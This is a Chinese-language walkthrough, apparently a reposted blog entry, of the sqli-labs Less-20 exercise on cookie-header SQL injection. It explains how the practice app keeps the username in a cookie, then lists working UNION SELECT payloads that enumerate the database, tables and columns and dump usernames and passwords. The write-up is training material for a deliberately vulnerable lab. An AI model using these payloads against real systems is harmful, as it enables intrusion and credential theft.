標簽:edit pos security 修改 獲取 sele 這一 F12 讀取
Less-20
基于错误的cookie头部POST注入
首先從已知的條件中我們知道這又是一道“頭部注入”,那麽我們先輸入正確的用戶名和密碼看一下登錄成功是什麽樣子的:
回显有User-Agent、IP这样从当次Request直接獲取的,
也有Cookie这样刷新页面后仍存在的,
还有登录用户的id、username、password。
最下方是删除Cookie的按钮,点击后刷新到初始界面。
從題意中我們大致可推斷出注入點在cookie上:(查看後台核心源碼:)
可以看到查詢語句查詢變量$cookee,且是單引號字符型,那麽我們就在cookie裏注入:
我們先查看一下請求頭中的cookie值,我們可以有很多方法查看:
burpsuite抓包,看响应头
Chrome插件Edit This Cookie查看,存储的Cookie信息:
浏览器,按F12,在“网络”中查看,看响应头
1.burpsuite抓包過程:
2.Chrome插件Edit This Cookie查看,存储的Cookie信息:(没用过,截取别人的)
可以看到只存储了uname這一个字段的信息,且是明文存储。
修改Cookie後刷新界面:
3.F12查看
從上面的操作中,可知操作流程:
登陆后将uname写入Cookie。
在每次Request (GET / POST)页面时后台判断Cookie是否存在,若不存在则为登录界面;若存在则讀取Cookie中字段uname。
在數據庫中按username查询,若用户存在则将查询到用户id、username、password回显;若不存在…
可以判断出注入点就在Cookie处,但是这里注入有三种途径:
用Chrome插件EditThisCookie修改本地Cookie文件注入。
用Firefox浏览器插件HackBar修改本地Cookie文件注入(这个并不是很好用,不推荐用)。
用Burpsuite修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入,这种方式不会修改本地的Cookie文件。
這裏演示第二個途徑:
我們得出後台根據Cookie中的uname查詢用戶的所有信息,即這是個SELECT語句,我們可以使用最簡單的UNION注入。
1.判断字符型 / 数字型注入
爆出語法錯誤,看得出來就是單引號型;
2.判斷字段數與回顯字段
uname=Dumb‘ order by 4 -- #
uname=1‘ union select 1,2,3 -- #
PS:
关于獲取字段的小技巧:我们从后台源码中,一般只要看到 select * from 表名,一般是要猜这个表里的所有字段,然后进行注入,如果是 select username,password from 表名,这种形式的可以直接利用2个字段,作为语句的注入字段。
3.暴庫:
uname=1‘ union select 1,2,database() -- #
暴表:
uname=1‘ union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=‘security‘ -- #
暴字段:
uname=1‘ union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ -- #
暴數據:(這兩種其實是一樣的)
uname=1‘ union select 1,2,group_concat(username,0x7e,password)from security.users -- #
uname=1‘ union select 1,2,group_concat(concat_ws(‘-‘,id,username,password)) from users# -- #
上面就是簡單的基于報錯的注入
利用cookie進行SQL注入——看來還是人工注入要熟悉才行
標簽:edit pos security 修改 獲取 sele 這一 F12 讀取
原文地址:https://www.cnblogs.com/bonelee/p/14883286.html